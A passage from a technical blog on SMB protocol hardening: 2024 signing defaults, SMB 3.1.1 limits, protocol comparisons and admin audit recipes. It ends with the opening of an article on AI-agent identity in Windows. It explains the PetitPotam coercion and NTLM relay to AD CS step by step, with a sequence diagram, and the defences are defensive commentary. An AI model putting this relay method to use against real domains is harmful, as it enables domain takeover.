The eighth change, also part of the 2024-2025 cycle but described in the Server 2025 release notes rather than the hardening page, was the broadening of SMB-over-QUIC hosting from the Azure Edition SKU to every edition of Windows Server 2025 [@ws-2025-whats-new][@smb-over-quic]. That broadening is the transport-side enabler for the rest of the bundle, because it makes SMB-over-QUIC available to organisations that do not run their file servers in Azure.

Note: The 2024-2025 rollout made SMB signing required by default. It did not make SMB encryption required by default. A 24H2 client speaking to a Server 2025 file share without an administrator's opt-in will still send the file's contents over the wire in cleartext, with only the per-packet AES-CMAC signatures preventing tampering. A passive eavesdropper on the path can still read the file. The fix is one line of PowerShell (Set-SmbClientConfiguration -RequireEncryption $true) or a per-share Set-SmbShare -EncryptData $true. Several widely-circulated 2024 press summaries got this backwards; the Microsoft Learn page is the source of truth [@smb-security-hardening].

The arc, closed

The 2001 SMBRelay disclosure to the 2024 default-on flip is twenty-three years and seven months [@smbrelay-cdc][@smb-security-hardening]. That is the arithmetic of the SMB story. The mechanism that closed the omission-downgrade attack family for the typical Windows file share existed in production from July 2015 onwards; the defaults that made the mechanism universal arrived nine years later.

The 2024 default does not retroactively secure the long tail of legacy hosts: the SMB-relay primitive that Sir Dystic shipped in 2001 still works against any pre-24H2 Windows client that an administrator has not turned signing on for by hand, and against any third-party SMB server that does not yet support signing. Default-on protects the leading edge; the legacy fleet upgrades on its own calendar.

The compatibility breakage

The default-on signing flip broke a long tail of consumer NAS devices that ship SMB server implementations without signing support. Synology and QNAP and NETGEAR home NAS units running older firmware refused 24H2 client connections starting October 2024, and the recovery path required either a firmware update from the vendor or a per-host policy exception. The DSInternals matrix tracks the exact set of clients and servers that pass the new defaults [@dsinternals-24h2].

The audit channel for tracking which peers an organisation's clients fail to sign with is `Applications and Services Logs\Microsoft\Windows\SmbClient\Audit`, populated by the SMB client itself whenever it refuses an unsigned session [@smb-security-hardening]. The transitional pattern administrators were forced to adopt in late 2024 was: (a) leave signing required globally, (b) maintain a per-host exception list for unupgradable NAS devices, (c) put the exception list under change control with a target removal date. A few months of audit-log data is usually enough to enumerate the long tail of peers an organisation actually depends on; the policy-exception approach is structurally sound because the exception is narrow and time-bounded.

What still works: the cross-protocol relay class

Default-on signing closed the single-protocol SMB relay. It did nothing about the cross-protocol relay class, which routes around SMB entirely. The exemplar attack is PetitPotam, disclosed by Lionel "Topotam" Gilles in July 2021 [@petitpotam-gh][@nvd-cve-2021-36942], with a sibling variant CVE-2022-26925 on the LSARPC interface [@nvd-cve-2022-26925].

PetitPotam abuses the Encrypting File System Remote Protocol (MS-EFSRPC). The EfsRpcOpenFileRaw method, exposed via the LSARPC named pipe over SMB, accepts a UNC path that the server resolves by opening an outbound SMB connection to whatever host the path points at, using the calling user's credentials [@petitpotam-gh].

An attacker who can call EfsRpcOpenFileRaw on a server with a UNC path pointing back at the attacker's host obtains an outbound NTLM authentication from the server, typically a domain controller, since DCs run the EFSRPC service. The attacker then relays that NTLM authentication, not to another SMB server, but to Active Directory Certificate Services Web Enrollment at /certsrv/, which speaks HTTP and historically did not require client-side signing of the authentication.

Once the relay completes, the attacker has a certificate issued in the name of the coerced principal, which on a domain controller is a domain controller account. From there, the attacker forges Kerberos tickets and the domain is compromised.

A 2019 result by Marina Simakov and Yaron Zinar at Preempt (now CrowdStrike), CVE-2019-1040, sharpens the cross-protocol concern further [@drop-the-mic][@nvd-cve-2019-1040]. The pair found that an in-path attacker could bypass the NTLM Message Integrity Code by manipulating SPNEGO fields, then strip the "signing required" bit from the relayed NTLM message itself.

That meant a relay attack could survive against targets that required NTLM signing, because the signing-required negotiation could be tampered with on the NTLM authentication exchange. Microsoft patched CVE-2019-1040 in 2019, but the result underscored the same lesson at the NTLM layer that SMB had learned at the SMB layer: any signing negotiation that is not bound to the eventual key derivation can be stripped.

A coercion-and-relay attack family disclosed by Lionel Gilles in July 2021 [@petitpotam-gh] in which the attacker invokes MS-EFSRPC `EfsRpcOpenFileRaw` on a target server with a UNC path that the server resolves by opening an outbound SMB connection, leaking the server's NTLM credentials to the attacker. The leaked credentials are then relayed cross-protocol to AD CS Web Enrollment over HTTPS. The class subsumes CVE-2021-36942 (LSA over the LSARPC pipe) and CVE-2022-26925 (a sibling LSARPC variant). The defence is **not** SMB signing on the target; it is Extended Protection for Authentication on the relay-to endpoint [@kb5005413]. A defence against NTLM relay attacks that binds the underlying transport's channel (typically a TLS server certificate hash) into the GSS channel-binding token that the SPNEGO authentication exchange carries [@kb5005413]. An attacker who relays an NTLM authentication from a victim's connection to an attacker-controlled TLS connection finds that the channel bindings disagree, and the relay-to endpoint refuses the authentication. EPA on AD CS `/certsrv/` is the canonical fix for PetitPotam-class attacks [@kb5005413].

Key idea: SMB at the wire layer is now cryptographically sufficient. Modern SMB-related attacks no longer try to break SMB. They coerce SMB into authenticating and then relay the authentication to a protocol that does not require signing. The defence is no longer a single-protocol problem. Extended Protection for Authentication on AD CS, and eventually NTLM removal, are the structural fixes -- nothing at the SMB layer can close the cross-protocol relay class.

sequenceDiagram participant A as Attacker participant V as Victim DC participant ADCS as ADCS Web Enrollment over HTTPS A->>V: LSARPC EfsRpcOpenFileRaw, UNC path to attacker share V->>A: Outbound SMB NEGOTIATE with NTLM credentials of DC machine account Note over A,V: SMB signing on V does not help, V is the client A->>ADCS: Relayed NTLM authentication to /certsrv/certfnsh.asp ADCS->>A: Issues certificate for DC machine account Note over A,ADCS: Without EPA on /certsrv/ the relay succeeds

The 2024 hardening package is real progress. It is also explicitly bounded. The headline change closes one attack class structurally and leaves the cross-protocol class untouched. To see what is still open, we have to leave SMB for a moment and look at the cryptographic limits the protocol still inherits.

A short PowerShell-equivalent for the audit

To verify the new defaults on a freshly imaged 24H2 client, run Get-SmbClientConfiguration | Select RequireSecuritySignature and the server analogue. The runnable snippet below shows the logic of those commands in JavaScript: readable, not directly executable on Windows.

{` const smbClientPolicyOn24H2 = { RequireSecuritySignature: true, EnableSecuritySignature: true, BlockNTLM: false, RequireEncryption: false, AuditServerDoesNotSupportEncryption: true, AuditServerDoesNotSupportSigning: true, };

reportPosture(smbClientPolicyOn24H2); `}

7. What SMB 3.1.1 Cannot Do

Five things SMB 3.1.1 cannot do, even with every default flipped on and every primitive at full strength.

1. Pre-authentication integrity is dialect-internal. The mechanism binds the negotiation transcript to the session key inside SMB. It cannot stop an in-path attacker from refusing to forward a connection at all. Denial of service is structurally outside the threat model of any signing or encryption primitive; the only defence is path redundancy.

2. Signing requires both endpoints to support it. A 24H2 client refuses to talk unsigned to a pre-24H2 server only if the server is willing to sign. A pre-24H2 server that runs without signing turned on -- the long tail of consumer NAS, embedded appliances, older Linux Samba installs, ESXi datastores -- still answers an unsigned NEGOTIATE and still produces an unsigned session. The omission-downgrade is closed only for 24H2-to-24H2 pairs (or 24H2-to-Samba-4.15+ pairs). The legacy fleet upgrades over years, not weeks.

3. Encryption is not authenticated key exchange. The SMB session key derives from the authentication protocol's session secret -- the NTLM ExportedSessionKey or the Kerberos service-ticket session key [@ms-smb2-pdf]. SMB inherits whatever weakness the authentication protocol carries. A user with a 30-bit-entropy password who authenticates with NTLM has a session key whose effective entropy is bounded above by the password's. AES-256-GCM does not save that user; the symmetric ciphers are working as advertised, but the secret they are protecting is too weak to survive an offline attack on the password hash.

Key idea: SMB encryption is upper-bounded by the password entropy of the authentication protocol that derived the session key. AES-256 does not improve a weak password. Pre-authentication integrity does not improve a weak password. The cryptographic primitives are doing what they say they do; the limit is one layer higher.

This is the protocol-level analogue of the older cryptographic adage that you cannot create entropy from key-stretching alone. PBKDF2 with a million iterations slows an attacker down by a factor of a million, but if the password has 30 bits of entropy, the work factor is still 2^30 -- a million iterations on a modern GPU is on the order of an hour for a single targeted password.

4. SMB-over-QUIC binds the trust anchor to TLS 1.3 PKI. Over TCP/445, SMB trusts only Kerberos or NTLM. Over QUIC, SMB additionally trusts the certificate authorities in the client's TLS trust store.

A compromised CA in that store can MITM SMB-over-QUIC the way it MITMs HTTPS. The inner SMB layer's pre-authentication integrity will catch tampering with the SMB session itself, but the outer QUIC layer is now in the threat model. Whether this is a feature or a regression depends on whether you trust your TLS trust store more than you trust the Kerberos service that issues your tickets.

5. Cross-protocol relay survives single-protocol hardening. This is the strongest impossibility result that touches SMB. If protocol A (SMB) coerces an outbound authentication from a victim host, and the attacker relays that authentication cross-protocol to a target running protocol B (HTTPS to AD CS Web Enrollment) that does not require signing, no amount of hardening on protocol A's session layer prevents the attack.

The fix has to live in the target's session layer (EPA on /certsrv/) or in the authentication protocol itself (NTLM disablement). Closing it at the SMB layer is, in the precise cryptographic sense, impossible.

The observation that the effective security of an SMB session against an offline attack is bounded above by the entropy of the authentication-protocol shared secret that derived the SMB session key, not by the bit length of the negotiated AES cipher. A 256-bit cipher protecting a session key derived from a 30-bit-entropy password offers, against an offline attacker who can capture the authentication exchange, no more than 30 bits of work-factor security. SMB inherits this property from any authentication protocol whose key-establishment phase is a password-equivalent shared-key derivation.

Of these five, three are deployment posture and two are structural. You can fix #2 by replacing the legacy fleet. You can fix #4 by curating your TLS trust store, removing CAs you do not need to trust, and pinning the AD CS PKI explicitly. You can fix #5 by removing NTLM, which Microsoft is in the middle of doing. Limits #1 (denial of service) and #3 (password-equivalence) are not deployment posture; they are properties of the underlying cryptographic objects, and they will be true of any SMB-shaped protocol that inherits a session key from an authentication exchange.

8. Competing Protocols, Parallel Paths

SMB is one of four families of file-sharing protocols a modern enterprise might deploy. Each made different cryptographic choices, and each got something right that the others got wrong.

NFS v4.2 with `sec=krb5p`

NFS version 4, standardised in RFC 7530 [@rfc7530] and refined in RFC 8881 for the 4.1 minor version [@rfc8881], replaced the optional RPCSEC_GSS security flavour of NFSv3 with a mandatory authentication negotiation step. With sec=krb5p, NFS authenticates each user with a Kerberos service ticket and encrypts each RPC payload with the Kerberos session key.

The cipher matrix tracks Kerberos's: RFC 8009 (October 2016) defined enctype 19 (AES-128-CTS-HMAC-SHA-256-128) and enctype 20 (AES-256-CTS-HMAC-SHA-384-192), and sec=krb5p on a modern Linux client and server uses enctype 20 by default [@rfc8009]. The cryptographic posture is genuinely comparable to SMB 3.1.1 with AES-256-GCM. The differences are platform (NFS is native to Linux and Unix, SMB is native to Windows) and the way transcript binding is achieved (NFS relies on the underlying GSS context binding rather than a separate hash chain).

NFS-over-QUIC is in IETF draft. The most recent revision of draft-cel-nfsv4-rpc-over-quicv1, dated 16 May 2026, is at revision -05 and is not yet on a standards-track timeline [@draft-nfs-rpc-over-quic]. SMB-over-QUIC went generally available in November 2021. NFS is roughly four years behind on this transport.

WebDAV over HTTPS

WebDAV, defined in RFC 4918 [@rfc4918], is HTTP with the verbs PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, and UNLOCK. Its security model is "use TLS." The OPTIONS and PROPFIND prologue messages that a WebDAV client exchanges with a server are not transcript-bound at the WebDAV layer. The binding lives entirely in the TLS handshake.

For internet-facing file access that does not need Active Directory integration, WebDAV is a sound choice, and it remains a common SMB alternative for shipping documents to mobile clients. For AD-integrated scenarios, where SMB's Kerberos integration is the point, WebDAV does not compete.

FTPS and SFTP

FTPS (RFC 4217 [@rfc4217]) adds opt-in TLS to FTP via the AUTH TLS command, which is structurally similar to SMTP's STARTTLS or LDAP's StartTLS. The opt-in nature is its weakness; the historical "stripping" attacks against opt-in TLS apply to FTPS just as they applied to opt-in NEGOTIATE bits in SMB.

SFTP runs over SSH-2 (RFC 4253 [@rfc4253]). Because SSH-2 mandatorily encrypts the transport layer, and because the SSH key exchange (§8 of RFC 4253) produces an exchange hash that is signed by the server's host key and binds the entire key-exchange transcript, SFTP gets transcript binding for free from its substrate.

The closest cryptographic posture to SMB 3.1.1's pre-authentication integrity is, structurally, SFTP-over-SSH-2. Both protocols bind the entire negotiation into the session-key derivation. Both make tampering produce key divergence rather than detectable mismatch. SSH took ten years to get there; SMB took twenty-five.

The reason SFTP is a popular SMB alternative in regulatory-burdened environments is precisely that the transport is mandatorily encrypted and the transcript is mandatorily bound. A PCI-DSS auditor who is asked whether a file transfer was protected against in-path tampering can point to RFC 4253 §8 and the SSH exchange-hash signature, and the answer is yes by construction.

Samba

Samba is the canonical open-source SMB server. The project tracks the Microsoft cipher matrix with a lag that has varied between months and years.

Samba 4.15.0 (September 2021) added the SMB3 signing-algorithm-negotiation parameters and fixed AES-256-GCM/CCM server-side support [@samba-4-15-0]. Samba 4.23.0 (September 2025) added SMB-over-QUIC for both smbd and smbclient, closing the four-year interop gap with the Microsoft November 2021 SMB-over-QUIC release [@samba-4-23-0]. The Samba team has consistently been the authoritative third-party implementer of the SMB cipher matrix. The gap between Microsoft and Samba is the practical floor on how quickly the SMB world can absorb a new cipher.

SMB Direct

SMB Direct is not a competitor; it is a parallel transport. Defined in [MS-SMBD] and shipped with Windows Server 2012 [@smb-direct], SMB Direct runs SMB over RDMA fabrics (RoCE or iWARP) on the LAN, bypassing the kernel TCP stack for high-throughput, low-latency file workloads.

Encryption with placement was added in Windows Server 2022 [@smb-direct]. SMB Direct does not run over QUIC, because QUIC's user-space encryption is incompatible with RDMA's kernel-bypass placement model. The two transports are deployed for different workloads: SMB Direct on the data centre LAN, SMB-over-QUIC on the wide area.

Protocol	Transport	Encryption default	Signing default	Authentication	Transcript binding
SMB 3.1.1 over TCP/445	TCP/445	Opt-in (Server 2025)	Required by default (24H2)	Kerberos or NTLM	Pre-auth integrity (SHA-512 into SP 800-108 KDF)
SMB-over-QUIC	UDP/443	TLS 1.3 (QUIC) + opt-in SMB AES-GCM	Required by default (24H2 client)	Kerberos or NTLM + TLS 1.3 cert	Pre-auth integrity inside QUIC + TLS 1.3 transcript hash
NFSv4.2 `sec=krb5p`	TCP (and QUIC draft)	AES-256-GCM via RFC 8009	Per-RPC GSS integrity	Kerberos	Kerberos GSS context binding
WebDAV over HTTPS	TCP/443	TLS-mandated	TLS-mandated	HTTP authentication header	TLS 1.3 transcript hash only
SFTP over SSH-2	TCP/22	Mandatory	Mandatory	SSH user authentication	Exchange-hash signed by host key

Across the four families, the convergence in 2026 is unmistakable. All paths lead to authenticated transcript binding plus an AEAD over an established session key. SMB took twenty-five years to get there. SSH took ten. The two protocols arrived at the same shape from different starting points -- one a file-sharing protocol that picked up TLS-like primitives, the other a remote-shell protocol that always had them.

9. Open Problems for 2026 to 2028

Five problems the SMB team is working on now, and at least one nobody has a credible answer to.

1. When does encryption-required-by-default flip? The 24H2 client mandate exists, but it is opt-in. Microsoft has not made a public commitment to a default-flip date for RequireEncryption $true [@smb-security-hardening].

The stakes are real: passive eavesdropping on an unencrypted SMB session over TCP/445 still recovers the file contents. The deployment-side argument for not flipping yet is the long tail of pre-24H2 clients that cannot negotiate SMB encryption at all. A unilateral server-side flip locks them out. The deployment-side argument for flipping is that signing-required already locks them out of any signed share, and the marginal incompatibility cost is small. The decision is calendar, not cryptography.

2. NTLM removal interplay. Microsoft's three-phase NTLM disablement programme is on a multi-year timeline, with the explicit goal of removing the legacy authentication protocol from Windows entirely. The interaction with SMB is structural: an SMB session over Kerberos derives its keys differently than an SMB session over NTLM, and a long tail of NAS appliances and embedded SMB servers still expect NTLM.

The transition pattern is: Kerberos by default, NTLM as a configurable fallback, NTLM disabled for outbound, NTLM removed. The PetitPotam class disappears the moment NTLM is gone. The cross-protocol relay requires the relayed authentication to be NTLM, because Kerberos service tickets are bound to a specific service principal and cannot be relayed to a different service.

3. Post-quantum key exchange for SMB-over-TCP/445. SMB-over-QUIC inherits TLS 1.3's hybrid post-quantum KEM groups (ML-KEM-based [@nist-fips-203], currently being deployed by major browsers and CDNs). SMB-over-TCP/445 has no protocol-level key-exchange step; it inherits whatever the authentication protocol provides.

Kerberos and NTLM today have no PQC posture. The SMB session key is therefore unprotected against a "harvest now, decrypt later" attacker with a future cryptanalytically relevant quantum computer. The fix is either (a) move long-confidentiality workloads to SMB-over-QUIC to get TLS 1.3's hybrid KEM, or (b) wait for Kerberos to absorb a hybrid PQC enctype.

4. Cross-protocol relay survival. PetitPotam-style attacks are not closeable at the SMB layer (see Section 7, limit #5). The structural fix is NTLM removal, which is problem #2 above. In the interim, the deployment-side defence is Extended Protection for Authentication on every NTLM-accepting endpoint -- AD CS Web Enrollment is the canonical one, but the same logic applies to LDAP, WSMan, IIS-hosted enterprise applications, and any internal HTTP service that accepts NTLM [@kb5005413].

5. Formal analysis of the full SMB 3.1.1 handshake composition. No published Tamarin or ProVerif model of the full pre-authentication integrity plus SP 800-108 KDF plus Kerberos-or-NTLM composition exists in the academic literature.

Individual analyses of AES-GCM, AES-CMAC, SP 800-108, and SHA-512 are tight at the primitive level. The composition of these primitives in the SMB 3.1.1 handshake is the place where TLS 1.2 historically broke (Lucky 13, Triple Handshake, the renegotiation attack of 2009, the CBC-MAC issues of POODLE). The absence of a published formal model is the single most-cited research gap in the SMB-protocol-security literature.

Note: Problem #5 (formal analysis) is the only one of the five that is a genuine open research problem. Problems #1, #2, and #4 are deployment-posture decisions waiting on calendar dates and platform migration. Problem #3 will look quaint by 2030, when hybrid PQC is everyone's default rather than the SMB team's. Problem #5 is hard in a different way: the composition seam between pre-authentication integrity, the SP 800-108 KDF, and the underlying authentication protocol is exactly the shape that historically produces protocol-composition vulnerabilities, and the SMB community has not yet had its TLS-1.3-formal-analysis moment.

The TLS 1.2 vulnerability history is the standard cautionary tale here. Lucky 13 (2013), POODLE (2014), the Triple Handshake (2014), and the renegotiation attack (2009) all arose at composition seams between primitives that were individually sound. The TLS 1.3 design explicitly tried to remove those seams, and the IETF process required formal models (Tamarin and ProVerif) before the protocol could go to RFC. SMB 3.1.1 has not yet been through that process, and the absence is the strongest argument for funding the work.

None of these five problems undo the 25-year arc that closed in October 2024. Pre-authentication integrity remains structurally sound; the cipher matrix remains at the CNSA 2.0 ceiling; the defaults remain on. The open problems are what comes next, not what is broken.

10. Practical Recipes and Frequently Asked Questions

If you administer Windows estates, run a Samba server, or audit network traffic for a living, here is what changes in 2026.

A 30-minute audit

Note: A new Windows 11 24H2 client and a new Windows Server 2025 file server arrive with signing required by default. To verify that an existing estate matches the new posture, run on each client Get-SmbClientConfiguration | Select RequireSecuritySignature, RequireEncryption, BlockNTLM and on each server Get-SmbServerConfiguration | Select RequireSecuritySignature, EncryptData, RejectUnencryptedAccess. Any host where RequireSecuritySignature is False is at the pre-24H2 posture. Schedule those for either upgrade or a policy push. Pull Applications and Services Logs\Microsoft\Windows\SmbClient\Audit to enumerate which third-party peers the estate actually fails to sign with; that audit log is the only practical way to find the long tail of NAS devices and ESXi datastores before they hit a user.

The commands below cover the recipes most administrators reach for first.

Verify 24H2 signing defaults: Get-SmbClientConfiguration | Select RequireSecuritySignature; Get-SmbServerConfiguration | Select RequireSecuritySignature.
Mandate encryption on the client (24H2 or later): Set-SmbClientConfiguration -RequireEncryption $true.
Mandate encryption on a specific share (server): Set-SmbShare -Name MyShare -EncryptData $true.
Block outbound NTLM fallback (24H2 or later): Set-SmbClientConfiguration -BlockNTLM $true.
Deploy SMB-over-QUIC on Server 2025: install the SMB Server role, bind a TLS 1.3-capable certificate via New-SmbServerCertificateMapping, and optionally configure Client Access Control to restrict which principals can connect [@smb-over-quic].
Audit which peers refuse to sign: enable the SmbClient Audit channel and review entries for hosts where signing was negotiated off.
Remove SMB1 entirely: Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol [@smb-detect-disable].
Block TCP/445 at the network edge: Microsoft's authoritative recommendation is to block inbound TCP/445 from the public internet at the corporate firewall and to use SMB-over-QUIC for any external file access [@smb-secure-traffic].
Audit PetitPotam exposure: verify Extended Protection for Authentication on AD CS /certsrv/ per KB 5005413 [@kb5005413], and ensure the AD CS Web Enrollment endpoint is HTTPS-only with channel binding enforced.

On a domain-joined audit workstation that has WinRM open to every member, the following pipeline collects the list of peers that any of those members has talked to over SMB without signing in the last 24 hours: `Invoke-Command -ComputerName (Get-ADComputer -Filter * | Select -Expand DnsHostName) -ScriptBlock { Get-WinEvent -LogName 'Microsoft-Windows-SmbClient/Audit' -MaxEvents 1000 | Where-Object { $_.Id -eq 31010 } } | Sort-Object Message -Unique`. Event ID 31010 is the SmbClient audit signal that the server did not support signing. The output is the deduplicated list of peer hostnames you need a remediation plan for.

Frequently asked questions

No. SMB signing provides per-packet integrity (AES-CMAC, AES-GMAC, or HMAC-SHA-256 depending on the negotiated algorithm); SMB encryption wraps each packet in an AEAD (AES-CCM or AES-GCM) for confidentiality and integrity. The two are negotiated independently. For 24H2 / Server 2025 default behaviour, see the FAQ entry on the 24H2 default-on push below. No. SMB signing on the coerced server protects the SMB session that delivers the credentials, but PetitPotam captures and relays those credentials to a different service (AD CS Web Enrollment over HTTPS) -- the defence has to live on the relay-to endpoint as Extended Protection for Authentication, not at the SMB layer [@kb5005413]. See section 6 for the mechanism and section 7 limit 5 for the impossibility framing. No. SMB-over-QUIC is an additional transport for SMB, primarily intended for clients outside the corporate perimeter that want SMB access without a VPN. Inside the perimeter, TCP/445 remains the default transport on Windows Server 2025 [@smb-over-quic]. SMB Direct over RDMA remains the high-throughput data-centre option [@smb-direct]. No. Secure Negotiate (SMB 3.0.2, 2013) was a post-hoc FSCTL message; pre-authentication integrity (SMB 3.1.1, 2015) is a SHA-512 hash chain that enters the SP 800-108 KDF as salt, causing tampering to produce divergent keys rather than a detected mismatch [@kramer-lovinger-sdc2015][@ms-smb2-pdf]. See section 4 for the mechanism and the five-property comparison table. AES-128-GCM has no known practical attack at the cipher-level (the GCM forgery bound from RFC 8446 and SP 800-38D applies regardless of key length [@rfc8446][@nist-sp-800-38d]). AES-256-GCM matters because CNSA 2.0 -- the U.S. NSA's algorithm suite for protecting information up to TOP SECRET -- requires a 256-bit symmetric key. Organisations that need CNSA compliance, including most U.S. federal agencies and defence contractors, must negotiate `EncryptionAlgorithmId 0x0004` (AES-256-GCM) [@ms-smb2-versioning]. Probably only on legacy Windows 10 Home or Pro pre-22H2 hosts and a few pre-Server 2019 environments. SMB1 has not been installed by default on Windows 10 since the Fall Creators Update (1709) and not on Windows Server since Server 2019 [@smb-interception-defense]. To check, run `Get-WindowsOptionalFeature -Online -FeatureName SMB1Protocol`; the `State` field will be `Disabled` on a modern install. To remove a stray install, use `Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol` [@smb-detect-disable]. No, and this is the single most-misreported fact about the 2024-2025 rollout. The default change was for *signing*, not *encryption*. SMB encryption is now mandate-able from one line of PowerShell or one Group Policy setting, but Microsoft did not flip the default-on switch. A 24H2 client speaking to a Server 2025 file share without explicit opt-in still sends file contents in cleartext on the wire, signed but not encrypted [@smb-security-hardening][@pyle-techcom-4226591].

Study guide

On March 31, 2001, Sir Dystic walked onto a stage in Atlanta and demonstrated an attack that should have lasted a year. It lasted twenty-three.

The cryptographic primitives that closed it -- AES-CMAC, AES-128-CCM, AES-128-GCM, AES-256-GCM, AES-GMAC, the SP 800-108 KDF, SHA-512 -- arrived between 2006 and 2021. The structural mechanism that bound them into a tamper-resistant SMB session, pre-authentication integrity, arrived in July 2015. The defaults that made all of it universal arrived in October 2024.

The next twenty-five years of SMB security live in the protocols above it: Kerberos, NTLM removal, post-quantum key exchange. Those will be slower, because every protocol seam between SMB and what comes above it is a place where a future Sir Dystic can find new work.

Agentic Identity on Windows: When the Process Acting on Your Behalf Isn't You

noreply@paragmali.com (Parag Mali) — Mon, 25 May 2026 00:00:00 GMT

Every locally-installed AI agent on Windows in May 2026 -- Claude Desktop, ChatGPT Desktop, Cursor, GitHub Copilot CLI, the MSIX-packaged Microsoft Copilot for Windows -- runs in a process whose primary token traces to the logged-on user. `SeAccessCheck`, ETW, RPC ACLs, Defender, and on-device Conditional Access all collapse "the user asked" and "the agent decided" into one principal. The cloud-identity layer has crossed this gap: Microsoft's Entra Agent ID has been in public preview since May 19, 2025 [@ms-security-blog-agentid], and the FIDO Alliance's Agentic Authentication Technical Working Group launched its three-pillar effort on April 28, 2026 with Google's AP2 and Mastercard's Verifiable Intent as foundational donations [@fido-aatwg-pr]. The Windows OS-level analog -- a kernel-recognised `AgentPrincipal` distinct from the user SID and the package SID -- does not exist, even though the substrate primitives (AppContainer package SIDs, Kerberos S4U2Proxy, WebAuthn and Windows Hello, the TPM's Direct Anonymous Attestation, the Administrator-Protection separate-session pattern, WAM, ETW) already ship. This article maps each AATWG pillar onto the Windows primitive that already exists and the glue that does not, and argues that agent identity belongs at both layers, with the OS layer being the missing piece.

1. Two principals walk into a syscall

A Tuesday in May 2026. Windows 11 24H2. Claude Desktop is open. In one terminal, the user types Remove-Item -Recurse -Force .\old-builds. In another, the agent decides to run the same command against the same path. SeAccessCheck returns the same answer for both. The Security event log records the same SubjectUserSid. ETW emits the same SubjectUserName. Microsoft Defender attributes both deletions to the same person -- the human at the keyboard.

As far as the Windows kernel is concerned, there is exactly one principal in this story, and his name is the user [@ms-learn-sids].

Nothing is broken. No malware. No zero-day. The kernel is doing exactly what NT 3.1 shipped to do on July 27, 1993 [@wiki-nt31]: read the primary token, hand the access-check engine the user SID, the group SIDs, and the integrity-level overlay [@ms-learn-mic], and decide. The decision is correct. It is also, in 2026, an attribution failure -- because the two actors who issued those two commands are different actors, and the kernel cannot tell.

The attribution-collapse claim holds for every deployment pattern of every shipping agent today, but the privilege-blast-radius framing is the strong claim for Electron-wrapped agents (full DPAPI user scope, full Kerberos ticket-granting ticket, full network egress) and a more qualified claim for MSIX-packaged agents like Microsoft Copilot for Windows, which inherit a LowBox token and a per-package DPAPI scope under AppContainer [@ms-learn-appcontainer].

The kernel-resident access token attached to every Windows process at creation. It contains a user SID, a list of group SIDs, an integrity-level SID carried in a `SYSTEM_MANDATORY_LABEL_ACE` inside the token's SACL [@ms-learn-mic], and a privilege set; every `SeAccessCheck` call reads it as the authoritative statement of "who is running this process" [@ms-learn-sids].

The collapse is structural. Three observations make the shape visible.

First, the kernel's access-check pipeline reads the user. SeAccessCheck walks the DACL on the target object and matches each ACE against the SIDs in the primary token. The integrity-level overlay, added in Windows Vista, gates writes against the integrity label [@ms-learn-mic]; AppContainer, added in Windows 8, adds a second-principal-shaped SID to the same token group list [@ms-learn-appcontainer]; but the primary SID -- the answer the kernel returns when a downstream consumer asks "whose authority is being exercised here?" -- is the user.

Second, the cloud-identity layer has just put the dual-principal answer on the wire. On April 28, 2026, the FIDO Alliance announced the Agentic Authentication Technical Working Group [@fido-aatwg-pr]. The three pillars: Verifiable User Instructions, Agent Authentication, and Trusted Delegation for Commerce. Chairs are CVS Health, Google, and OpenAI; vice-chairs are Amazon, Google, and Okta; the parallel Payments Technical Working Group is chaired by Mastercard and Visa. Google's Agent Payments Protocol (AP2) and Mastercard's Verifiable Intent framework are the foundational donations [@ap2-blog-google; @mastercard-vi]. Independent coverage from HelpNetSecurity dated April 29, 2026 carries the same governance roster [@helpnetsecurity-aatwg]. The cloud side now has a named, governed wire-format design space for the agent-as-distinct-principal story.

Third, the OS-side gap is structural. Every layer of Windows from SeAccessCheck through ETW [@ms-learn-mic] through on-device Conditional Access still answers "the user" because the primary token still has only the user SID. The package SID under AppContainer is the closest signal Windows has to a second principal; the access-check rule is intersection, not addition -- "the permitted access is the intersection of that granted by the user/group SIDs and AppContainer SIDs" [@ms-learn-appcontainer]. That intersection rule is the closest thing the kernel has to a sibling-principal model, and it identifies a package, not an agent.

Note: No engineering effort is required to produce this attribution failure. The kernel is functioning as designed. The design is from 1993. The user is the principal. The agent is the user. The audit log is what the audit log has always been.

What would it take, mechanically, for the kernel to know which principal was which -- and why has the answer been "the user" for the thirty-three years since NT 3.1? Both halves of that question have load-bearing histories, and those histories are older than NT itself.

2. From Multics to NT 3.1: the user-as-principal genealogy

MIT, Bell Labs, and General Electric. Fernando Corbato of MIT and Victor Vyssotsky of Bell Telephone Laboratories present Introduction and Overview of the Multics System at the AFIPS Fall Joint Computer Conference. Their opening describes a general-purpose programming system intended to scale to thousands of users at a single installation [@multics-fjcc]. Multics, jointly led by MIT's Project MAC, General Electric, and Bell Laboratories [@multics-wiki], is the first operating system designed from the start around the idea that the kernel must know whose work each running process is doing.

The Multics inheritance is not stylistic. It is the source of the abstraction Windows NT 3.1 picks up twenty-eight years later: a principal is a named entity (a user, or in some systems a service account); every process belongs to exactly one principal at creation; the kernel mediates access using that principal. TENEX, BBN's PDP-10 time-sharing system from 1969 [@tenex-bitsavers], inherits the same model and ports it into the DEC product line; the Multics-to-TENEX-to-Unix lineage [@multics-hist] is the route the article reads as carrying the user-as-principal assumption forward into the design ground from which DEC VMS and later Windows NT 3.1 emerged.

A variable-length data structure that uniquely identifies a security principal in a Windows access decision. The canonical user-SID form is `S-1-5-21--`; every access token carries a user SID plus a list of group SIDs, and every `SeAccessCheck` call reads them as the authoritative answer to "who is running this thread?" [@ms-learn-sids].

The formal model came in 1971. Butler Lampson, then at Xerox Palo Alto, published Protection at the 5th Princeton Conference on Information Sciences and Systems, later reprinted in ACM Operating Systems Review 8(1) in January 1974 [@lampson-catalog]. Lampson's access-matrix model -- subject by object by right -- is the operational mathematics behind every modern access-control system. Read the matrix row by row and you get a capability list ("what each subject can do"); read it column by column and you get an access control list ("who can do what to this object"). Windows picks column-major: every securable object on Windows is described by a DACL, and SeAccessCheck is the operational realisation of Lampson's matrix on NT. The DACL is the column; the primary token is the row index; the access-check answer is the cell.

The bwlampson.site author catalog is the canonical fetchable anchor for the 1971 paper [@lampson-catalog]. The Microsoft Research-hosted PDF that this corpus previously linked is dead (HTTP 404); the catalog page itself names the ACM OSR 8(1) January 1974 reprint as the journal of record.

